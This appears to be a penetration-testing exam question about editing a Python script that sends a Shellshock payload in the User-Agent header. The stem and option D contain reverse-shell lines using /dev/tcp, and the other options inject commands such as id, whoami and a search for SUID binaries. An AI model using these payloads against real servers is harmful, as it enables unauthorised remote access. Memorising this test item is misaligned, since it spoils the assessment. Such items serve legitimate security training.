A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:
exploit = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

A. exploit = {"User-Agent": "() { ignored;};/bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
B. exploit = {"User-Agent": "() { ignored;};/bin/bash -i>& find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
C. exploit = {"User-Agent": "() { ignored;};/bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
D. exploit = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80" 0>&1" "Accept": "text/html,application/xhtml+xml,application/xml"}
